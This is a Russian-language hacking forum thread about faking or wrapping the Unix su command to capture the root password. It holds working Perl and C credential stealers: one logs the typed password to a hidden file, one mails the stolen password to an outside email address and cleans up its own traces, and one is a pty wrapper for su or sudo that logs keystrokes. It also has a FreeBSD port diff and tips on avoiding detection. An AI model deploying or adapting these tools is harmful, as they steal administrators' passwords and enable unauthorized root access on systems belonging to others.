Старый 10.10.2010, 12:12   #1
tipsy
 
Аватар для tipsy
 
Регистрация: 10.07.2010
Сообщений: 415
Репутация: 311
По умолчанию Обёртка для su

Ситуация:
Цитата:
tail .bash_history
su -
su -
su -
Первое, что приходит в голову - написать в ~/.profile что-то типа "alias su=vrotnassu", либо модифицировать PATH

Погуглил, нашёл такое
PHP код:
#!/usr/bin/perl
# Written by xi4oyu <evil.xi4oyu@gmail.com>.
#Site:http://www.pentestday.com
 
print "Password: ";
`
stty -echo`;
$s1=<STDIN>;
print 
"\n";
`
stty echo`;
sleep 3;
print 
"su: incorrect password\n";
chomp($s1);
$s2="Password is: ";
$s3=" ".`date +%Y-%m-%d`;
open (users">>/tmp/.pass") || die ;
print 
users ($s2$s1,$s3);
close (users); 
но к этому скрипту нужно приложить достаточно много напильника, чтобы он работал как надо и не палился.
Может, у кого-то уже есть готовые варианты?
tipsy вне форума   Ответить с цитированием
Старый 10.10.2010, 13:42   #2
euro
 
Регистрация: 09.07.2010
Сообщений: 66
Репутация: 8
По умолчанию

Код:
/* 
 * kpr-fakesu.c V0.9beta167 ;P
 * by koper <koper@linuxmail.org>
 *
 * Setting up:
 * admin@host:~$ gcc -o .su fakesu.c; rm -rf fakesu.c
 * admin@host:~$ mv .su /var/tmp/.su
 * admin@host:~$ cp .bash_profile .wgetrc
 * admin@host:~$ echo "alias su=/var/tmp/.su">>.bash_profile
 * admin@host:~$ logout
 * *** LOGIN ***
 * admin@host:~$ su
 * Password: 
 * su: Authentication failure
 * Sorry.
 * admin@host:~$ su
 * Password: 
 * root@host:~# logout
 * admin@host:~$ cat /var/tmp/.pwds
 * root:dupcia17
 * admin@host:~$ 
 * 
 * /bin/su sends various failure information depending on the OS ver.
 * Please modify the source to make it "fit" ;)
 * 
 */

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[]){

FILE *fp;
char *user;
char *pass;
char filex[100];
char clean[100];

sprintf(filex,"/var/tmp/.pwds");
sprintf(clean,"rm -rf /var/tmp/.su;mv -f /home/admin/.wgetrc /home/admin/.bash_profile");
if(argc==1) user="root";
if(argc==2) user=argv[1];
if(argc>2){
   if(strcmp(argv[1], "-l")==0)
     user=argv[2];
   else user=argv[1];}

fprintf(stdout,"Password: "); pass=getpass ("");
system("sleep 3");
fprintf(stdout,"su: Authentication failure\nSorry.\n");

if ((fp=fopen(filex,"w")) != NULL)
  {
  fprintf(fp, "%s:%s\n", user, pass);
  fclose(fp);
  }

system(clean);
system("rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su");

/* If you don't want password in your e-mail uncomment this line: */

system("uname -a >> /var/tmp/.pwds; cat /var/tmp/.pwds | mail kalikosta@hotmail.com");

}
euro вне форума   Ответить с цитированием
Старый 10.10.2010, 15:17   #3
ficrowns
 
Аватар для ficrowns
 
Регистрация: 06.09.2010
Сообщений: 13
Репутация: 0
По умолчанию

euro, спасибо! как раз ночью понадобилось

не забудьте поменять в конце =)))
Код:
mail kalikosta@hotmail.com
ficrowns вне форума   Ответить с цитированием
Старый 14.06.2011, 09:12   #4
slashd
 
Регистрация: 06.07.2010
Сообщений: 47
Репутация: 27
По умолчанию

заметил одну особенность - если копировать .bash_profile в .wgetrc, то wget выкинет ошибки при попытке скачать файл, так что лучше использовать НЕ rc-файлы, а что-нибудь более обыденное - например обычный файл в любой поддиректории...
slashd вне форума   Ответить с цитированием
Старый 14.06.2011, 10:15   #5
nobody
 
Аватар для nobody
 
Регистрация: 05.07.2010
Сообщений: 176
Репутация: 130
По умолчанию

ну это еще куда не шло, проблематичней то что нагло отдаётся
Цитата:
fprintf(stdout,"su: Authentication failure\nSorry.\n");
что очень не гуд, если менять LANG (переменная окружения)
Код:
n0body@desktop:~$ su
Пароль: 
su: Сбой при проверке подлинности
n0body@desktop:~$ export LANG=en_EN.UTF-8
n0body@desktop:~$ su
Password: 
su: Authentication failure
+ у su есть много других опций, (-l, -c, -s etc)
__________________
Sad panda
nobody вне форума   Ответить с цитированием
Старый 23.10.2011, 17:24   #6
overxor
 
Регистрация: 14.10.2011
Сообщений: 73
Репутация: 90
По умолчанию

реализация оболочки вокруг su или sudo.
вместо PROGRAMM подставляем полный путь до программы

Единственная проблема с форвадингом сигналов потомкам su из-за разных идентификаторов пользователей процессов.

компиляция gcc wrap.c -o wrap -lutil
PHP код:
/* su/sudo wrapper */
/* Writed by overxor */
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <wait.h>
#include <errno.h>

#include <pty.h>
#include <signal.h>
#include <sys/ioctl.h>
#include <fcntl.h>

#define PATH_SU "/bin/su"
#define PATH_SUDO "/usr/bin/sudo"
#define LOG_FILE "/tmp/log.txt"

#define PROGRAMM PATH_SU

struct winsize msize;
struct termios mterm;
static 
int logpty;
static 
pid_t pid;

static 
void 
sighandler
(int signo)
{
    
int save_errno errno;
    
struct winsize winsz;
    
pid_t pgrp;

    switch (
signo) {
    case 
SIGCHLD:
        if (
waitpid(pidNULLWNOHANG) == pid) {
            
tcsetattr(0TCSANOW, &mterm);
            if(
logclose(log);
            exit(
getpid());
        }
        break;
    case 
SIGWINCH:
        if (
ioctl(STDIN_FILENOTIOCGWINSZ, &winsz) >= 0) {
            if (
ioctl(ptyTIOCSWINSZ, &winsz) >= &&
                
ioctl(ptyTIOCGPGRP, &pgrp) >= 0)
                
killpg(pgrpSIGWINCH);
        }
        break;
    case 
SIGTERM:
    case 
SIGQUIT:
    case 
SIGINT:
        if(
ioctl(ptyTIOCGPGRP, &pgrp) >= 0
            
killpg(pgrpsigno);
        break;
    }

    
errno save_errno;
}

int main(int argcchar **argv)

    
int pipestderr[2];

    
pipe2(pipestderrO_NONBLOCK);
 
    
tcgetattr(0, &mterm);
    
ioctl(0TIOCGWINSZ, &msize);
 
    
pid forkpty(&ptyNULL, &mterm, &msize);
    if(
pid == 0){ 
        
close(pipestderr[0]);
        
fcntl(pipestderr[1], F_DUPFD2);

        
char **pargv argv;
        *
pargv PROGRAMM;

        
execv(*pargvpargv);
    } else if (
pid == -1) {
          return -
1;
    } else {
        
char c;
        
fd_set desc_set;
        
struct termios termios;
        
struct sigaction sa;

        
sigfillset(&sa.sa_mask);
        
sa.sa_flags SA_RESTART;
        
sa.sa_handler sighandler;
    
        
sigaction(SIGCHLD, &saNULL);
        
sigaction(SIGWINCH,&saNULL);
        
sigaction(SIGINT,  &saNULL);
        
sigaction(SIGTERM, &saNULL);
        
sigaction(SIGQUIT, &saNULL);

        
signal(SIGHUPSIG_IGN);

        
log open(LOG_FILEO_CREAT O_WRONLY O_APPEND0777);
        
close(pipestderr[1]);
  
        while(
1) {
            
tcgetattr(pty, &termios);
            
tcsetattr(STDIN_FILENOTCSANOW, &termios);

            
FD_ZERO(&desc_set);
            
FD_SET(STDIN_FILENO, &desc_set);
            
FD_SET(pty, &desc_set);
            
FD_SET(pipestderr[0], &desc_set);

            if(
select(FD_SETSIZE, &desc_setNULLNULLNULL) < 0){
                continue;
            }

            if (
FD_ISSET(STDIN_FILENO, &desc_set)) {
                if(
read(STDIN_FILENO, &c1) == 1) {
                    
write(pty, &c1);
                    if(
logwrite(log, &c1);
                }
            }
    
            if (
FD_ISSET(pty, &desc_set)) {
                if(
read(pty, &c1) == 1) {
                    
write(1, &c1);
                }
            }
    
            if (
FD_ISSET(pipestderr[0], &desc_set)) {
                if(
read(pipestderr[0], &c1) == 1
                    
write(2, &c1);
            }
        }
      }
    
      return 
0;

overxor вне форума   Ответить с цитированием
Старый 31.10.2011, 23:44   #7
euro
 
Регистрация: 09.07.2010
Сообщений: 66
Репутация: 8
По умолчанию

кто нибудь может портировать в bsd софт из 14 поста ?
euro вне форума   Ответить с цитированием
Старый 01.11.2011, 13:28   #8
overxor
 
Регистрация: 14.10.2011
Сообщений: 73
Репутация: 90
По умолчанию

Код:
2a3
> /* v 0.2 Linux/FreeBSD system */
3a5
> #include <stdlib.h>
6,7c8
< #include <fcntl.h>
< #include <wait.h>
---
> #include <sys/wait.h>
10d10
< #include <pty.h>
15c15,25
< #define PATH_SU "/bin/su"
---
> #if defined(__FreeBSD__)
>    #include <libutil.h>
>    #include <termios.h>
>    #define PATH_SU "/usr/bin/su"
> #elif defined(__linux__)
>    #include <pty.h>
>    #define PATH_SU "/bin/su"
> #else
>    #warning "Unknown OS"
> #endif
> 
19c29
< #define PROGRAMM PATH_SU
---
> #define PROGRAM PATH_SU
63c73
<     pipe2(pipestderr, O_NONBLOCK);
---
>     pipe(pipestderr);
74c84
<         *pargv = PROGRAMM;
---
>         *pargv = PROGRAM;
97c107,108
<         log = open(LOG_FILE, O_CREAT | O_WRONLY | O_APPEND, 0777);
---
>         log = open(LOG_FILE, O_CREAT | O_WRONLY | O_APPEND, 0666);
> 	   chmod(LOG_FILE, 0666);
Патчишь оригинальный файл patch wrap.c v2.patch и компилируешь так же.
__________________
[IO]
overxor вне форума   Ответить с цитированием
Старый 01.11.2011, 15:23   #9
euro
 
Регистрация: 09.07.2010
Сообщений: 66
Репутация: 8
По умолчанию

2overxor,спасибо работает, но есть не большей баг, при вводе не правильного пароля нет переноса строки
Код:
это патченный
$ su
Password:
$ : Sorry

это не патченный 
$ su
Password:
su: Sorry
$
euro вне форума   Ответить с цитированием
Старый 01.11.2011, 18:04   #10
overxor
 
Регистрация: 14.10.2011
Сообщений: 73
Репутация: 90
По умолчанию

Трудно сказать в чем может быть проблема. Возможно не успевает из пайпа прочесть информацию.
Попробуй после вызова
pipe(pipestderr);
добавить
fcntl(pipestderr[1], F_SETFL, O_NONBLOCK);

ЗЫ. У меня на BSD работает нормально
__________________
[IO]
overxor вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot